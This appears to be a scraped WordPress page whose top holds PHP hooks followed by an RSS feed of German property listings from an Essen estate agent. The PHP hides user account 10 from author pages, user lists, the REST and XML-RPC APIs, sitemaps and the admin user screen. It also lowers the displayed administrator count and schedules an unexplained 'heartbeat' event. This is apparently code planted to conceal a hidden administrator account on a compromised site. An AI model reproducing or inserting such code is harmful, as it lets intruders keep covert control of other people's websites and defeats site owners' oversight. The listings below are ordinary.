add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 10;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 10 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 10 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 10;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 10;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 10;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/10(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 10;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-10{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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	<title>Einbauküche Archive - Makler-Markus</title>
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	<description>Ihr Immobilienmakler in Essen</description>
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		<title>Möbliertes Apartment in Essen Frohnhausen</title>
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		<dc:creator><![CDATA[Markus Kipphardt]]></dc:creator>
		<pubDate>Mon, 11 Mar 2024 13:52:37 +0000</pubDate>
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					<description><![CDATA[<p>Willkommen in Ihrem neuen Zuhause in Essen-Frohnhausen! Dieses möblierte Apartment befindet sich in einem ruhigen 5-Familienhaus und bietet alles, was Sie für ein komfortables Wohnen benötigen. Die helle Einrichtung lässt die Wohnung groß erscheinen und wirkt sehr aufgeräumt. In dem Wohn- und Schlafzimmer ist ein Bett inkl. Matratze, Schrank und Sofa sowie ein Fernseher für [&#8230;]</p>
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										<content:encoded><![CDATA[<p>Willkommen in Ihrem neuen Zuhause in Essen-Frohnhausen! Dieses möblierte Apartment befindet sich in einem ruhigen 5-Familienhaus und bietet alles, was Sie für ein komfortables Wohnen benötigen.</p>
<p>Die helle Einrichtung lässt die Wohnung groß erscheinen und wirkt sehr aufgeräumt. In dem Wohn- und Schlafzimmer ist ein Bett inkl. Matratze, Schrank und Sofa sowie ein Fernseher für gemütliche Abende.</p>
<p>Die frisch eingebaute Küche und Essecke bietet Platz für kulinarische Kreationen.</p>
<p>Das angrenzende Badezimmer verfügt über eine moderne Dusche, ein Fenster und ein Hänge-WC. Das gesamte Bad ist gefliest, was eine einfache Reinigung gewährleistet.</p>
<p>Zu dieser Wohnung gehört ein separater Abstellraum sowie ein eigenes Kellerabteil, die zusätzlichen Stauraum bieten. Darüber hinaus haben Sie Zugang zu einem Gemeinschaftsgarten, der mit hochwertigem Mobiliar und einem Grill ausgestattet ist, der von der Hausgemeinschaft genutzt werden kann. Ideal, um sich im Sommer zu entspannen.</p>
<p>Die Wohnung ist besonders gut an den öffentlichen Nahverkehr angebunden. Der S-Bahnhof Essen Frohnhausen ist nur 300 Meter entfernt. Dies macht sie zu einem idealen Zuhause für Pendler. Die Mietergemeinschaft ist freundlich und angenehm.</p>
<p>Zielgruppe: Singles, Studenten, Berufstätige. Dieses Angebot richtet sich insbesondere an Selbstzahler. Die Wohnung ist ab sofort bezugsfertig. Sie wird möbliert vermietet.</p>
<p>Die Betriebskostenvorauszahlungen betragen 45 € für allgemeine Betriebskosten und 75 € für die Heizung.</p>
<p>Überzeugen Sie sich selbst von diesem attraktiven Angebot und vereinbaren Sie noch heute einen Besichtigungstermin!</p>
<p>&#8212; Bilder folgen &#8212;</p>
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		<title>Attraktives Reihenmittelhaus in beliebter Lage!</title>
		<link>https://makler-markus.de/immobilien/attraktives-reihenmittelhaus-in-beliebter-lage/</link>
		
		<dc:creator><![CDATA[Markus Kipphardt]]></dc:creator>
		<pubDate>Tue, 09 Jan 2024 20:10:55 +0000</pubDate>
				<guid isPermaLink="false">https://makler-markus.de/?post_type=property&#038;p=8652</guid>

					<description><![CDATA[<p>Dieses attraktive Reihenmittelhaus in einer beliebten Wohnlage des Stadtteils Essen-Kettwig haben wir erfolgreich vermarktet. In einem strukturierten Prozess konnten wir eine zielgenaue Kundenansprache garantieren und so eine schnelle Vermarktungszeit gewährleisten. Für beide Parteien wurde ein gutes Ergebnis erzielt.</p>
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										<content:encoded><![CDATA[<div class="is24-text margin-bottom is24-long-text-attribute">
<p class="is24qa-objektbeschreibung text-content full-text">Dieses attraktive Reihenmittelhaus in einer beliebten Wohnlage des Stadtteils Essen-Kettwig haben wir erfolgreich vermarktet.</p>
<p class="is24qa-objektbeschreibung text-content full-text">In einem strukturierten Prozess konnten wir eine zielgenaue Kundenansprache garantieren und so eine schnelle Vermarktungszeit gewährleisten. Für beide Parteien wurde ein gutes Ergebnis erzielt.</p>
</div>
<p>Der Beitrag <a href="https://makler-markus.de/immobilien/attraktives-reihenmittelhaus-in-beliebter-lage/">Attraktives Reihenmittelhaus in beliebter Lage!</a> erschien zuerst auf <a href="https://makler-markus.de">Makler-Markus</a>.</p>
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		<title>Eigentumswohnung mit großer Loggia</title>
		<link>https://makler-markus.de/immobilien/eigentumswohnung-mit-grosser-loggia/</link>
		
		<dc:creator><![CDATA[Markus Kipphardt]]></dc:creator>
		<pubDate>Tue, 09 Jan 2024 12:14:00 +0000</pubDate>
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					<description><![CDATA[<p>Diese Eigentumswohnung in Essen Kettwig haben wir erfolgreich vermarktet. Durch unsere profunde Marktwerteinschätzung konnten wir einen schnellen Verkauf gewährleisten.</p>
<p>Der Beitrag <a href="https://makler-markus.de/immobilien/eigentumswohnung-mit-grosser-loggia/">Eigentumswohnung mit großer Loggia</a> erschien zuerst auf <a href="https://makler-markus.de">Makler-Markus</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Diese Eigentumswohnung in Essen Kettwig haben wir erfolgreich vermarktet. Durch unsere profunde Marktwerteinschätzung konnten wir einen schnellen Verkauf gewährleisten.</p>
<p>Der Beitrag <a href="https://makler-markus.de/immobilien/eigentumswohnung-mit-grosser-loggia/">Eigentumswohnung mit großer Loggia</a> erschien zuerst auf <a href="https://makler-markus.de">Makler-Markus</a>.</p>
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